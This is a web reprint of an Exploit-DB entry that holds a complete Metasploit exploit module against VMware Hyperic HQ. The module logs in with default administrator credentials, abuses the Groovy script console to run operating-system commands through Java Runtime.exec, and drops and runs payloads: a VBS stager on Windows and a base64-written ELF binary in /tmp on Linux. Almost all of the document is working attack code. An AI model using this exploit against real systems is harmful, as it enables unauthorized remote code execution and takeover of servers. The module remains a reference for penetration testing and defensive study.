VMware Hyperic HQ Groovy Script-Console – Java Execution (Metasploit) - 体验盒子

作者： Metasploit
日期： 2013-10-14
类别：
remote
平台：
multiple
来源：https://www.exploit-db.com/exploits/28962/
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStagerVBS

def initialize(info = {})
super(update_info(info,
'Name' => 'VMware Hyperic HQ Groovy Script-Console Java Execution',
'Description'=> %q{
This module uses the VMware Hyperic HQ Groovy script console to execute
OS commands using Java. Valid credentials for an application administrator
user account are required. This module has been tested successfully with
Hyperic HQ 4.6.6 on Windows 2003 SP2 and Ubuntu 10.04 systems.
},
'Author' =>
[
'Brendan Coles <bcoles[at]gmail.com>' # Metasploit
],
'License'=> MSF_LICENSE,
'DefaultOptions' =>
{
'WfsDelay' => '15',
},
'References' =>
[
['URL', 'https://pubs.vmware.com/vfabric5/topic/com.vmware.vfabric.hyperic.4.6/ui-Groovy.html']
],
'Targets'=>
[
# Tested on Hyperic HQ versions 4.5.2-win32 and 4.6.6-win32 on Windows XP SP3 and Ubuntu 10.04
['Automatic', {} ],
['Windows',{'Arch' => ARCH_X86, 'Platform' => 'win'}],
['Linux',{'Arch' => ARCH_X86, 'Platform' => 'linux' }],
['Unix CMD', {'Arch' => ARCH_CMD, 'Platform' => 'unix', 'Payload' => {'BadChars' => "\x22"}}]
],
'Platform' => %w{ win linux unix },
'Privileged' => false, # Privileged on Windows but not on *nix targets
'DisclosureDate' => 'Oct 10 2013',
'DefaultTarget'=> 0))

register_options(
[
OptBool.new('SSL', [true, 'Use SSL', true]),
Opt::RPORT(7443),
OptString.new('USERNAME',[ true, 'The username for the application', 'hqadmin' ]),
OptString.new('PASSWORD',[ true, 'The password for the application', 'hqadmin' ]),
OptString.new('TARGETURI', [ true, 'The path to HypericHQ', '/' ]),
], self.class)
end

#
# Login
#
def login(user, pass)
@cookie = "JSESSIONID=#{Rex::Text.rand_text_hex(32)}"

res = send_request_cgi({
'uri' => normalize_uri(@uri.path, "j_spring_security_check?org.apache.catalina.filters.CSRF_NONCE="),
'method'=> 'POST',
'cookie'=> @cookie,
'vars_post' => {
'j_username' => Rex::Text.uri_encode(user, 'hex-normal'),
'j_password' => Rex::Text.uri_encode(pass, 'hex-normal'),
'submit' => 'Sign+in'
}
})

res
end

#
# Check access to the Groovy script console and get CSRF nonce
#
def get_nonce
res = send_request_cgi({
'uri' => normalize_uri(@uri.path, "mastheadAttach.do?typeId=10003"),
'cookie' => @cookie
})

if not res or res.code != 200
print_warning("#{peer} - Could not access the script console")
end

if res.body =~ /org\.apache\.catalina\.filters\.CSRF_NONCE=([A-F\d]+)/
@nonce = $1
vprint_status("#{peer} - Found token '#{@nonce}'")
end
end

#
# Check credentials and check for access to the Groovy console
#
def check

@uri = target_uri
user = datastore['USERNAME']
pass = datastore['PASSWORD']

# login
print_status("#{peer} - Authenticating as '#{user}'")
res= login(user, pass)
if res and res.code == 302 and res.headers['location'] !~ /authfailed/
print_good("#{peer} - Authenticated successfully as '#{user}'")
# check access to the console
print_status("#{peer} - Checking access to the script console")
get_nonce
if @nonce.nil?
return Exploit::CheckCode::Detected
else
return Exploit::CheckCode::Vulnerable
end
elsif res.headers.include?('X-Jenkins') or res.headers['location'] =~ /authfailed/
print_error("#{peer} - Authentication failed")
return Exploit::CheckCode::Detected
else
return Exploit::CheckCode::Safe
end

end

def on_new_session(client)
if not @to_delete.nil?
print_warning("#{peer} - Deleting #{@to_delete} payload file")
execute_command("rm #{@to_delete}")
end
end

def http_send_command(java)
res = send_request_cgi({
'method'=> 'POST',
'uri' => normalize_uri(@uri.path, 'hqu/gconsole/console/execute.hqu?org.apache.catalina.filters.CSRF_NONCE=')+@nonce,
'cookie'=> @cookie,
'vars_post' => {
'code' => java # java_craft_runtime_exec(cmd)
}
})
if res and res.code == 200 and res.body =~ /Executed/
vprint_good("#{peer} - Command executed successfully")
else
fail_with(Exploit::Failure::Unknown, "#{peer} - Failed to execute the command.")
end
# version 4.6.6 returns a new CSRF nonce in the response
if res.body =~ /org\.apache\.catalina\.filters\.CSRF_NONCE=([A-F\d]+)/
@nonce = $1
vprint_status("#{peer} - Found token '#{@nonce}'")
# version 4.5.2 does not, so we request a new one
else
get_nonce
end

return res
end

# Stolen from jenkins_script_console.rb
def java_craft_runtime_exec(cmd)
decoder = Rex::Text.rand_text_alpha(5, 8)
decoded_bytes = Rex::Text.rand_text_alpha(5, 8)
cmd_array = Rex::Text.rand_text_alpha(5, 8)
jcode ="sun.misc.BASE64Decoder #{decoder} = new sun.misc.BASE64Decoder();\n"
jcode << "byte[] #{decoded_bytes} = #{decoder}.decodeBuffer(\"#{Rex::Text.encode_base64(cmd)}\");\n"

jcode << "String [] #{cmd_array} = new String[3];\n"
if @my_target['Platform'] == 'win'
jcode << "#{cmd_array}[0] = \"cmd.exe\";\n"
jcode << "#{cmd_array}[1] = \"/c\";\n"
else
jcode << "#{cmd_array}[0] = \"/bin/sh\";\n"
jcode << "#{cmd_array}[1] = \"-c\";\n"
end
jcode << "#{cmd_array}[2] = new String(#{decoded_bytes}, \"UTF-8\");\n"
jcode << "Runtime.getRuntime().exec(#{cmd_array});"
jcode
end

def java_get_os
jcode = "System.getProperty(\"os.name\").toLowerCase();"

return jcode
end

def execute_command(cmd, opts = {})
vprint_status("#{peer} - Attempting to execute: #{cmd}")
http_send_command(java_craft_runtime_exec(cmd))
end

# Stolen from jenkins_script_console.rb
def linux_stager
cmds = "echo LINE | tee FILE"
exe= Msf::Util::EXE.to_linux_x86_elf(framework, payload.raw)
base64 = Rex::Text.encode_base64(exe)
base64.gsub!(/\=/, "\\u003d")
file = rand_text_alphanumeric(6+rand(4))

execute_command("touch /tmp/#{file}.b64")
cmds.gsub!(/FILE/, "/tmp/" + file + ".b64")
base64.each_line do |line|
line.chomp!
cmd = cmds
cmd.gsub!(/LINE/, line)
execute_command(cmds)
end

execute_command("base64 -d /tmp/#{file}.b64|tee /tmp/#{file}")
execute_command("chmod +x /tmp/#{file}")
execute_command("rm /tmp/#{file}.b64")

execute_command("/tmp/#{file}")
@to_delete = "/tmp/#{file}"
end

def get_target
res = http_send_command(java_get_os)

if res and res.code == 200 and res.body =~ /"result":"(.*)","timeStatus/
os = $1
else
return nil
end

case os
when /win/
return targets[1]
when /linux/
return targets[2]
when /nix/
when /mac/
when /aix/
when /sunow/
return targets[3]
else
return nil
end

end


def exploit

# login
@uri = target_uri
user = datastore['USERNAME']
pass = datastore['PASSWORD']
res= login(user, pass)
if res and res.code == 302 and res.headers['location'] !~ /authfailed/
print_good("#{peer} - Authenticated successfully as '#{user}'")
else
fail_with(Exploit::Failure::NoAccess, "#{peer} - Authentication failed")
end

# check access to the console and get CSRF nonce
print_status("#{peer} - Checking access to the script console")
get_nonce

# check operating system
if target.name =~ /Automatic/
print_status("#{peer} - Trying to detect the remote target...")
@my_target = get_target
if @my_target.nil?
fail_with(Failure::NoTarget, "#{peer} - Failed to detect the remote target")
else
print_good("#{peer} - #{@my_target.name} target found")
end
else
@my_target = target
end

# send payload
case @my_target['Platform']
when 'win'
print_status("#{peer} - Sending VBS stager...")
execute_cmdstager({:linemax => 2049})
when 'unix'
print_status("#{peer} - Sending UNIX payload...")
http_send_command(java_craft_runtime_exec(payload.encoded))
when 'linux'
print_status("#{rhost}:#{rport} - Sending Linux stager...")
linux_stager
end

end
end